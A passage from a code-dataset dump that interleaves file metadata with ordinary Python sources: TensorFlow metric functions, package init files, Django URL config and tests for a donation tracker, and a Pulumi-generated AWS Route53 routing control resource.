supported in function ' '`min_destination_deviation`, neglected.') del weights with tf.name_scope(name or 'min_destination_deviation'): destination_deviations = _destination_deviations_in_batch(labels, predictions) return minimum( destination_deviations, metrics_collections=metrics_collections, updates_collections=updates_collections) def binary_accuracy(labels, predictions, weights=None, metrics_collections=None, updates_collections=None, threshold=0.5, name=None): predictions = tf.where(tf.greater(predictions, threshold), tf.ones_like(predictions), tf.zeros_like(predictions)) return tf.compat.v1.metrics.accuracy( labels, predictions, weights=weights, metrics_collections=metrics_collections, updates_collections=updates_collections, name=name)
36.845771
117
0.635296
761
7,406
5.892247
0.122208
0.108385
0.035682
0.061552
0.841882
0.837199
0.815343
0.795941
0.73595
0.674621
0
0.005137
0.290305
7,406
200
118
37.03
0.847983
0.017553
0
0.647799
0
0
0.064951
0.018164
0
0
0
0.005
0
1
0.081761
false
0
0.037736
0.025157
0.201258
0.006289
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
615a7233f03387064d18ff17828cefc409b357f7
78
py
Python
hawc_hal/maptree/__init__.py
igherzog/hawc_hal
d76b8d3361c4a6f301487cc86d921c65bed93351
[ "BSD-3-Clause" ]
7
2020-06-23T01:04:13.000Z
2022-01-11T23:30:06.000Z
hawc_hal/maptree/__init__.py
igherzog/hawc_hal
d76b8d3361c4a6f301487cc86d921c65bed93351
[ "BSD-3-Clause" ]
53
2019-03-27T14:14:49.000Z
2022-03-30T14:58:20.000Z
hawc_hal/maptree/__init__.py
igherzog/hawc_hal
d76b8d3361c4a6f301487cc86d921c65bed93351
[ "BSD-3-Clause" ]
10
2019-01-15T19:09:26.000Z
2021-07-31T22:36:36.000Z
from __future__ import absolute_import from .map_tree import map_tree_factory
26
38
0.884615
12
78
5.083333
0.583333
0.229508
0
0
0
0
0
0
0
0
0
0
0.102564
78
2
39
39
0.871429
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
4ee63ac691b0c4133f8682f42a4c44682a3d4142
170
py
Python
pyodbc_unittest/__init__.py
eyashin/pyodbc-unittest
444b011c55c722ca8f9847e908039186261b2d2b
[ "MIT" ]
1
2021-04-07T16:44:32.000Z
2021-04-07T16:44:32.000Z
pyodbc_unittest/__init__.py
eyashin/pyodbc-unittest
444b011c55c722ca8f9847e908039186261b2d2b
[ "MIT" ]
1
2021-04-07T16:44:19.000Z
2021-04-09T14:42:23.000Z
pyodbc_unittest/__init__.py
eyashin/pyodbc-unittest
444b011c55c722ca8f9847e908039186261b2d2b
[ "MIT" ]
null
null
null
"""Part of the library provides SQL calls for the Python unittest framework""" from pyodbc_unittest.dbtest import Dbtest from pyodbc_unittest.dbresult import Dbresult
42.5
79
0.817647
24
170
5.708333
0.666667
0.145985
0.262774
0
0
0
0
0
0
0
0
0
0.135294
170
3
80
56.666667
0.931973
0.423529
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
4eeaa7eefc6ec95e7bf4c8ed94c92592c4714fb4
200
py
Python
yatinder/health_check/urls.py
KitKat-ru/29_pet_project
5eceb7bd2b79aaad09ae602d203c99dcab09acd2
[ "MIT" ]
3
2022-02-11T11:16:31.000Z
2022-02-16T08:26:34.000Z
yatinder/health_check/urls.py
KitKat-ru/29_pet_project
5eceb7bd2b79aaad09ae602d203c99dcab09acd2
[ "MIT" ]
null
null
null
yatinder/health_check/urls.py
KitKat-ru/29_pet_project
5eceb7bd2b79aaad09ae602d203c99dcab09acd2
[ "MIT" ]
4
2022-02-11T11:23:57.000Z
2022-02-20T12:32:04.000Z
from __future__ import annotations from django.urls import path from health_check.views import health_check_view app_name = 'health_check' urlpatterns = [path('', health_check_view, name='index')]
22.222222
57
0.8
28
200
5.321429
0.535714
0.295302
0.201342
0
0
0
0
0
0
0
0
0
0.115
200
8
58
25
0.841808
0
0
0
0
0
0.085
0
0
0
0
0
0
1
0
false
0
0.6
0
0.6
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
6
f604946c370486638a13d114095a476d81d43f03
10,703
py
Python
tests/test_interstitial.py
TreZc0/donation-tracker
3a833a5eba3c0b7cedd8249b44b1435f526095ba
[ "Apache-2.0" ]
39
2016-01-04T04:13:27.000Z
2022-01-18T19:17:24.000Z
tests/test_interstitial.py
TreZc0/donation-tracker
3a833a5eba3c0b7cedd8249b44b1435f526095ba
[ "Apache-2.0" ]
140
2015-11-01T01:19:54.000Z
2022-03-10T13:00:33.000Z
tests/test_interstitial.py
TreZc0/donation-tracker
3a833a5eba3c0b7cedd8249b44b1435f526095ba
[ "Apache-2.0" ]
35
2016-01-20T12:42:21.000Z
2022-01-20T07:06:47.000Z
from django.contrib.auth.models import User from django.test import TestCase from django.urls import reverse from tracker import models from .util import today_noon, APITestCase class TestInterstitial(TestCase): def setUp(self): self.event1 = models.Event.objects.create( short='test1', datetime=today_noon, targetamount=5 ) self.event2 = models.Event.objects.create( short='test2', datetime=today_noon, targetamount=5 ) self.run1 = models.SpeedRun.objects.create( event=self.event1, name='Test Run 1', order=1 ) self.run2 = models.SpeedRun.objects.create( event=self.event1, name='Test Run 2', order=2 ) self.run3 = models.SpeedRun.objects.create( event=self.event1, name='Test Run 3', order=3 ) self.run4 = models.SpeedRun.objects.create( event=self.event1, name='Test Run 4', order=4 ) self.superuser = User.objects.create_superuser( 'super', 'super@example.com', 'password' ) def test_closest_run_existing_run(self): interstitial = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=1 ) self.assertEqual(interstitial.run, self.run2) def test_closest_run_previous(self): interstitial = models.Interstitial.objects.create( event=self.event1, order=self.run3.order, suborder=1 ) self.run3.delete() self.assertEqual(interstitial.run, self.run2) def test_closest_run_next(self): interstitial = models.Interstitial.objects.create( event=self.event1, order=self.run1.order, suborder=1 ) self.run1.delete() self.assertEqual(interstitial.run, self.run2) def test_closest_run_none(self): interstitial = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=1 ) self.run1.delete() self.run2.delete() self.run3.delete() self.run4.delete() self.assertEqual(interstitial.run, None) def test_interstitials_for_run(self): self.run2.delete() i1 = models.Interstitial.objects.create( event=self.event1, order=self.run1.order - 1, suborder=1 ) i2 = models.Interstitial.objects.create( event=self.event1, order=self.run1.order, suborder=2 ) i3 = models.Interstitial.objects.create( event=self.event1, order=self.run1.order + 1, suborder=1 ) i4 = models.Interstitial.objects.create( event=self.event1, order=self.run3.order, suborder=1 ) i5 = models.Interstitial.objects.create( event=self.event1, order=self.run4.order, suborder=2 ) i6 = models.Interstitial.objects.create( event=self.event1, order=self.run4.order + 1, suborder=1 ) self.assertSetEqual( set(models.Interstitial.interstitials_for_run(self.run1)), {i1, i2, i3} ) self.assertSetEqual( set(models.Interstitial.interstitials_for_run(self.run3)), {i4} ) self.assertSetEqual( set(models.Interstitial.interstitials_for_run(self.run4)), {i5, i6} ) def test_move_interstitial_up_within_run(self): i1 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=1 ) i2 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=2 ) i3 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=3 ) self.client.force_login(self.superuser) resp = self.client.post( reverse('tracker:api_v1:interstitial'), {'id': i3.id, 'order': self.run2.order, 'suborder': i2.suborder,}, ) self.assertEqual(resp.status_code, 200) i1.refresh_from_db() i2.refresh_from_db() i3.refresh_from_db() self.assertEqual(i1.suborder, 1) self.assertEqual(i2.suborder, 3) self.assertEqual(i3.suborder, 2) def test_move_interstitial_down_within_run(self): i1 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=1 ) i2 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=2 ) i3 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=3 ) self.client.force_login(self.superuser) resp = self.client.post( reverse('tracker:api_v1:interstitial'), {'id': i1.id, 'order': self.run2.order, 'suborder': i2.suborder,}, ) self.assertEqual(resp.status_code, 200) i1.refresh_from_db() i2.refresh_from_db() i3.refresh_from_db() self.assertEqual(i1.suborder, 2) self.assertEqual(i2.suborder, 1) self.assertEqual(i3.suborder, 3) def test_move_interstitial_up_between_run(self): i1 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=1 ) i2 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=2 ) i3 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=3 ) i4 = models.Interstitial.objects.create( event=self.event1, order=self.run3.order, suborder=1 ) i5 = models.Interstitial.objects.create( event=self.event1, order=self.run3.order, suborder=2 ) i6 = models.Interstitial.objects.create( event=self.event1, order=self.run3.order, suborder=3 ) self.client.force_login(self.superuser) resp = self.client.post( reverse('tracker:api_v1:interstitial'), {'id': i2.id, 'order': self.run3.order, 'suborder': i6.suborder,}, ) self.assertEqual(resp.status_code, 200) i1.refresh_from_db() i2.refresh_from_db() i3.refresh_from_db() i4.refresh_from_db() i5.refresh_from_db() i6.refresh_from_db() self.assertEqual(i1.suborder, 1) self.assertEqual(i3.suborder, 2) self.assertEqual(i4.suborder, 1) self.assertEqual(i5.suborder, 2) self.assertEqual(i2.order, self.run3.order) self.assertEqual(i2.suborder, 3) self.assertEqual(i6.suborder, 4) def test_move_interstitial_down_between_run(self): i1 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=1 ) i2 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=2 ) i3 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=3 ) i4 = models.Interstitial.objects.create( event=self.event1, order=self.run3.order, suborder=1 ) i5 = models.Interstitial.objects.create( event=self.event1, order=self.run3.order, suborder=2 ) i6 = models.Interstitial.objects.create( event=self.event1, order=self.run3.order, suborder=3 ) self.client.force_login(self.superuser) resp = self.client.post( reverse('tracker:api_v1:interstitial'), {'id': i5.id, 'order': self.run2.order, 'suborder': i2.suborder,}, ) self.assertEqual(resp.status_code, 200) i1.refresh_from_db() i2.refresh_from_db() i3.refresh_from_db() i4.refresh_from_db() i5.refresh_from_db() i6.refresh_from_db() self.assertEqual(i1.suborder, 1) self.assertEqual(i5.order, self.run2.order) self.assertEqual(i5.suborder, 2) self.assertEqual(i2.suborder, 3) self.assertEqual(i3.suborder, 4) self.assertEqual(i4.suborder, 1) self.assertEqual(i6.suborder, 2) def test_move_interstitial_fill_holes(self): i1 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=1 ) i2 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=3 ) i3 = models.Interstitial.objects.create( event=self.event1, order=self.run2.order, suborder=5 ) i4 = models.Interstitial.objects.create( event=self.event1, order=self.run3.order, suborder=3 ) i5 = models.Interstitial.objects.create( event=self.event1, order=self.run3.order, suborder=7 ) self.client.force_login(self.superuser) resp = self.client.post( reverse('tracker:api_v1:interstitial'), {'id': i2.id, 'order': self.run3.order, 'suborder': -1,}, ) self.assertEqual(resp.status_code, 200) i1.refresh_from_db() i2.refresh_from_db() i3.refresh_from_db() i4.refresh_from_db() i5.refresh_from_db() self.assertEqual(i1.suborder, 1) self.assertEqual(i3.suborder, 2) self.assertEqual(i4.suborder, 1) self.assertEqual(i5.suborder, 2) self.assertEqual(i2.order, self.run3.order) self.assertEqual(i2.suborder, 3) class TestAd(APITestCase): model_name = 'ad' @classmethod def format_ad(cls, ad): return dict( fields=dict( event_id=ad.event_id, length=ad.length, ad_type=ad.ad_type, filename=ad.filename, order=ad.order, suborder=ad.suborder, sponsor_name=ad.sponsor_name, ad_name=ad.ad_name, blurb=ad.blurb, ), model='tracker.ad', pk=ad.id, ) def test_ads_endpoint(self): models.SpeedRun.objects.create(event=self.event, name='Test Run 1', order=1) ad = models.Ad.objects.create(event=self.event, order=1, suborder=1) ad.refresh_from_db() resp = self.client.get(reverse('tracker:api_v1:ads', args=(self.event.id,))) self.assertEqual(resp.status_code, 403) self.client.force_login(self.view_user) resp = self.client.get(reverse('tracker:api_v1:ads', args=(self.event.id,))) data = self.parseJSON(resp) self.assertModelPresent(self.format_ad(ad), data)
37.819788
84
0.612819
1,268
10,703
5.069401
0.089117
0.061605
0.10921
0.133479
0.856565
0.815806
0.778936
0.765868
0.761823
0.719353
0
0.037241
0.269924
10,703
282
85
37.953901
0.785385
0
0
0.50566
0
0
0.032514
0.012613
0
0
0
0
0.150943
1
0.049057
false
0.003774
0.018868
0.003774
0.083019
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
f60ebdf58b4a9ec02902c171ea7ee3a6e4bae66e
37
py
Python
ekorpkit/models/tokenizer/__init__.py
entelecheia/eKorpKit
9521ae4c4749419fa2b088d1b9e518e5927b7cb8
[ "CC-BY-4.0" ]
4
2022-02-26T10:54:16.000Z
2022-02-26T11:01:56.000Z
ekorpkit/models/tokenizer/__init__.py
entelecheia/eKorpKit
9521ae4c4749419fa2b088d1b9e518e5927b7cb8
[ "CC-BY-4.0" ]
1
2022-03-25T06:37:12.000Z
2022-03-25T06:45:53.000Z
ekorpkit/models/tokenizer/__init__.py
entelecheia/eKorpKit
9521ae4c4749419fa2b088d1b9e518e5927b7cb8
[ "CC-BY-4.0" ]
null
null
null
from .trainer import train_tokenizer
18.5
36
0.864865
5
37
6.2
1
0
0
0
0
0
0
0
0
0
0
0
0.108108
37
1
37
37
0.939394
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
f63cbb08a5ddd79e413b2bf5c16371540bfca56b
71
py
Python
gym-foodhunting/gym_foodhunting/foodhunting/__init__.py
yoshi-ono/PyLIS
c6e1df91f4f7828837a4ce0bb04e29adeb450ff3
[ "Apache-2.0" ]
18
2019-05-15T08:31:01.000Z
2022-01-22T13:21:54.000Z
gym-foodhunting/gym_foodhunting/foodhunting/__init__.py
yoshi-ono/PyLIS
c6e1df91f4f7828837a4ce0bb04e29adeb450ff3
[ "Apache-2.0" ]
2
2019-05-08T08:39:58.000Z
2021-07-28T09:14:27.000Z
gym-foodhunting/gym_foodhunting/foodhunting/__init__.py
yoshi-ono/PyLIS
c6e1df91f4f7828837a4ce0bb04e29adeb450ff3
[ "Apache-2.0" ]
7
2019-11-24T02:28:11.000Z
2022-03-14T17:08:51.000Z
from gym_foodhunting.foodhunting.gym_foodhunting import FoodHuntingEnv
35.5
70
0.915493
8
71
7.875
0.625
0.444444
0
0
0
0
0
0
0
0
0
0
0.056338
71
1
71
71
0.940299
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
f6482b881580ef2fceeda1b35c474921627db1ae
14,369
py
Python
sdk/python/pulumi_aws/route53recoverycontrol/routing_control.py
chivandikwa/pulumi-aws
19c08bf9dcb90544450ffa4eec7bf6751058fde2
[ "ECL-2.0", "Apache-2.0" ]
1
2021-11-10T16:33:40.000Z
2021-11-10T16:33:40.000Z
sdk/python/pulumi_aws/route53recoverycontrol/routing_control.py
chivandikwa/pulumi-aws
19c08bf9dcb90544450ffa4eec7bf6751058fde2
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_aws/route53recoverycontrol/routing_control.py
chivandikwa/pulumi-aws
19c08bf9dcb90544450ffa4eec7bf6751058fde2
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['RoutingControlArgs', 'RoutingControl'] @pulumi.input_type class RoutingControlArgs: def __init__(__self__, *, cluster_arn: pulumi.Input[str], control_panel_arn: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a RoutingControl resource. :param pulumi.Input[str] cluster_arn: ARN of the cluster in which this routing control will reside. :param pulumi.Input[str] control_panel_arn: ARN of the control panel in which this routing control will reside. :param pulumi.Input[str] name: The name describing the routing control. """ pulumi.set(__self__, "cluster_arn", cluster_arn) if control_panel_arn is not None: pulumi.set(__self__, "control_panel_arn", control_panel_arn) if name is not None: pulumi.set(__self__, "name", name) @property @pulumi.getter(name="clusterArn") def cluster_arn(self) -> pulumi.Input[str]: """ ARN of the cluster in which this routing control will reside. """ return pulumi.get(self, "cluster_arn") @cluster_arn.setter def cluster_arn(self, value: pulumi.Input[str]): pulumi.set(self, "cluster_arn", value) @property @pulumi.getter(name="controlPanelArn") def control_panel_arn(self) -> Optional[pulumi.Input[str]]: """ ARN of the control panel in which this routing control will reside. """ return pulumi.get(self, "control_panel_arn") @control_panel_arn.setter def control_panel_arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "control_panel_arn", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name describing the routing control. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @pulumi.input_type class _RoutingControlState: def __init__(__self__, *, arn: Optional[pulumi.Input[str]] = None, cluster_arn: Optional[pulumi.Input[str]] = None, control_panel_arn: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering RoutingControl resources. :param pulumi.Input[str] arn: ARN of the routing control. :param pulumi.Input[str] cluster_arn: ARN of the cluster in which this routing control will reside. :param pulumi.Input[str] control_panel_arn: ARN of the control panel in which this routing control will reside. :param pulumi.Input[str] name: The name describing the routing control. :param pulumi.Input[str] status: Status of routing control. `PENDING` when it is being created/updated, `PENDING_DELETION` when it is being deleted, and `DEPLOYED` otherwise. """ if arn is not None: pulumi.set(__self__, "arn", arn) if cluster_arn is not None: pulumi.set(__self__, "cluster_arn", cluster_arn) if control_panel_arn is not None: pulumi.set(__self__, "control_panel_arn", control_panel_arn) if name is not None: pulumi.set(__self__, "name", name) if status is not None: pulumi.set(__self__, "status", status) @property @pulumi.getter def arn(self) -> Optional[pulumi.Input[str]]: """ ARN of the routing control. """ return pulumi.get(self, "arn") @arn.setter def arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "arn", value) @property @pulumi.getter(name="clusterArn") def cluster_arn(self) -> Optional[pulumi.Input[str]]: """ ARN of the cluster in which this routing control will reside. """ return pulumi.get(self, "cluster_arn") @cluster_arn.setter def cluster_arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cluster_arn", value) @property @pulumi.getter(name="controlPanelArn") def control_panel_arn(self) -> Optional[pulumi.Input[str]]: """ ARN of the control panel in which this routing control will reside. """ return pulumi.get(self, "control_panel_arn") @control_panel_arn.setter def control_panel_arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "control_panel_arn", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name describing the routing control. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: """ Status of routing control. `PENDING` when it is being created/updated, `PENDING_DELETION` when it is being deleted, and `DEPLOYED` otherwise. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) class RoutingControl(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, cluster_arn: Optional[pulumi.Input[str]] = None, control_panel_arn: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, __props__=None): """ Provides an AWS Route 53 Recovery Control Config Routing Control. ## Example Usage ```python import pulumi import pulumi_aws as aws example = aws.route53recoverycontrol.RoutingControl("example", cluster_arn="arn:aws:route53-recovery-control::881188118811:cluster/8d47920e-d789-437d-803a-2dcc4b204393") ``` ```python import pulumi import pulumi_aws as aws example = aws.route53recoverycontrol.RoutingControl("example", cluster_arn="arn:aws:route53-recovery-control::881188118811:cluster/8d47920e-d789-437d-803a-2dcc4b204393", control_panel_arn="arn:aws:route53-recovery-control::428113431245:controlpanel/abd5fbfc052d4844a082dbf400f61da8") ``` ## Import Route53 Recovery Control Config Routing Control can be imported via the routing control arn, e.g., ```sh $ pulumi import aws:route53recoverycontrol/routingControl:RoutingControl mycontrol arn:aws:route53-recovery-control::313517334327:controlpanel/abd5fbfc052d4844a082dbf400f61da8/routingcontrol/d5d90e587870494b ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] cluster_arn: ARN of the cluster in which this routing control will reside. :param pulumi.Input[str] control_panel_arn: ARN of the control panel in which this routing control will reside. :param pulumi.Input[str] name: The name describing the routing control. """ ... @overload def __init__(__self__, resource_name: str, args: RoutingControlArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Provides an AWS Route 53 Recovery Control Config Routing Control. ## Example Usage ```python import pulumi import pulumi_aws as aws example = aws.route53recoverycontrol.RoutingControl("example", cluster_arn="arn:aws:route53-recovery-control::881188118811:cluster/8d47920e-d789-437d-803a-2dcc4b204393") ``` ```python import pulumi import pulumi_aws as aws example = aws.route53recoverycontrol.RoutingControl("example", cluster_arn="arn:aws:route53-recovery-control::881188118811:cluster/8d47920e-d789-437d-803a-2dcc4b204393", control_panel_arn="arn:aws:route53-recovery-control::428113431245:controlpanel/abd5fbfc052d4844a082dbf400f61da8") ``` ## Import Route53 Recovery Control Config Routing Control can be imported via the routing control arn, e.g., ```sh $ pulumi import aws:route53recoverycontrol/routingControl:RoutingControl mycontrol arn:aws:route53-recovery-control::313517334327:controlpanel/abd5fbfc052d4844a082dbf400f61da8/routingcontrol/d5d90e587870494b ``` :param str resource_name: The name of the resource. :param RoutingControlArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(RoutingControlArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, cluster_arn: Optional[pulumi.Input[str]] = None, control_panel_arn: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = RoutingControlArgs.__new__(RoutingControlArgs) if cluster_arn is None and not opts.urn: raise TypeError("Missing required property 'cluster_arn'") __props__.__dict__["cluster_arn"] = cluster_arn __props__.__dict__["control_panel_arn"] = control_panel_arn __props__.__dict__["name"] = name __props__.__dict__["arn"] = None __props__.__dict__["status"] = None super(RoutingControl, __self__).__init__( 'aws:route53recoverycontrol/routingControl:RoutingControl', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, arn: Optional[pulumi.Input[str]] = None, cluster_arn: Optional[pulumi.Input[str]] = None, control_panel_arn: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None) -> 'RoutingControl': """ Get an existing RoutingControl resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] arn: ARN of the routing control. :param pulumi.Input[str] cluster_arn: ARN of the cluster in which this routing control will reside. :param pulumi.Input[str] control_panel_arn: ARN of the control panel in which this routing control will reside. :param pulumi.Input[str] name: The name describing the routing control. :param pulumi.Input[str] status: Status of routing control. `PENDING` when it is being created/updated, `PENDING_DELETION` when it is being deleted, and `DEPLOYED` otherwise. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _RoutingControlState.__new__(_RoutingControlState) __props__.__dict__["arn"] = arn __props__.__dict__["cluster_arn"] = cluster_arn __props__.__dict__["control_panel_arn"] = control_panel_arn __props__.__dict__["name"] = name __props__.__dict__["status"] = status return RoutingControl(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def arn(self) -> pulumi.Output[str]: """ ARN of the routing control. """ return pulumi.get(self, "arn") @property @pulumi.getter(name="clusterArn") def cluster_arn(self) -> pulumi.Output[str]: """ ARN of the cluster in which this routing control will reside. """ return pulumi.get(self, "cluster_arn") @property @pulumi.getter(name="controlPanelArn") def control_panel_arn(self) -> pulumi.Output[str]: """ ARN of the control panel in which this routing control will reside. """ return pulumi.get(self, "control_panel_arn") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ The name describing the routing control. """ return pulumi.get(self, "name") @property @pulumi.getter def status(self) -> pulumi.Output[str]: """ Status of routing control. `PENDING` when it is being created/updated, `PENDING_DELETION` when it is being deleted, and `DEPLOYED` otherwise. """ return pulumi.get(self, "status")
40.937322
216
0.649871
1,660
14,369
5.404217
0.104217
0.06744
0.082711
0.078475
0.790993
0.773381
0.748077
0.735147
0.725337
0.710958
0
0.029652
0.251305
14,369
350
217
41.054286
0.804239
0.376783
0
0.603352
1
0
0.088831
0.006957
0
0
0
0
0
1
0.156425
false
0.005587
0.027933
0
0.27933
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
f66edf80d6a2e850be2436c5d8b8e4673aefcc4c
56
py
Python
tests/__init__.py
adrisalas/flask-appointmentsDoctor-TDD-BDD
1f7c14f83c85144e844f3db9a4fb27eebcf678a2
[ "MIT" ]
null
null
null
tests/__init__.py
adrisalas/flask-appointmentsDoctor-TDD-BDD
1f7c14f83c85144e844f3db9a4fb27eebcf678a2
[ "MIT" ]
null
null
null
tests/__init__.py
adrisalas/flask-appointmentsDoctor-TDD-BDD
1f7c14f83c85144e844f3db9a4fb27eebcf678a2
[ "MIT" ]
null
null
null
from tests import context from tests import test_account
28
30
0.875
9
56
5.333333
0.666667
0.375
0.625
0
0
0
0
0
0
0
0
0
0.125
56
2
30
28
0.979592
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
f67eac337e0319ac29b5e03b5cb6144a7485a797
46
py
Python
exercises/ocr-numbers/ocr_numbers.py
RJTK/python
f9678d629735f75354bbd543eb7f10220a498dae
[ "MIT" ]
1
2021-05-15T19:59:04.000Z
2021-05-15T19:59:04.000Z
exercises/ocr-numbers/ocr_numbers.py
RJTK/python
f9678d629735f75354bbd543eb7f10220a498dae
[ "MIT" ]
null
null
null
exercises/ocr-numbers/ocr_numbers.py
RJTK/python
f9678d629735f75354bbd543eb7f10220a498dae
[ "MIT" ]
2
2018-03-03T08:32:12.000Z
2019-08-22T11:55:53.000Z
def number(): pass def grid(): pass
6.571429
13
0.521739
6
46
4
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.347826
46
6
14
7.666667
0.8
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0.5
true
0.5
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
0
0
0
0
0
6
9ca83a6f1ed20d7bfb220ca4603a532091cf72c1
5,867
py
Python
molsysmt/native/old/former_topology/elements/makers.py
dprada/molsysmt
83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d
[ "MIT" ]
3
2020-06-02T03:55:52.000Z
2022-03-21T04:43:52.000Z
molsysmt/native/old/former_topology/elements/makers.py
dprada/molsysmt
83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d
[ "MIT" ]
28
2020-06-24T00:55:53.000Z
2021-07-16T22:09:19.000Z
molsysmt/native/old/former_topology/elements/makers.py
dprada/molsysmt
83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d
[ "MIT" ]
1
2021-06-17T18:55:25.000Z
2021-06-17T18:55:25.000Z
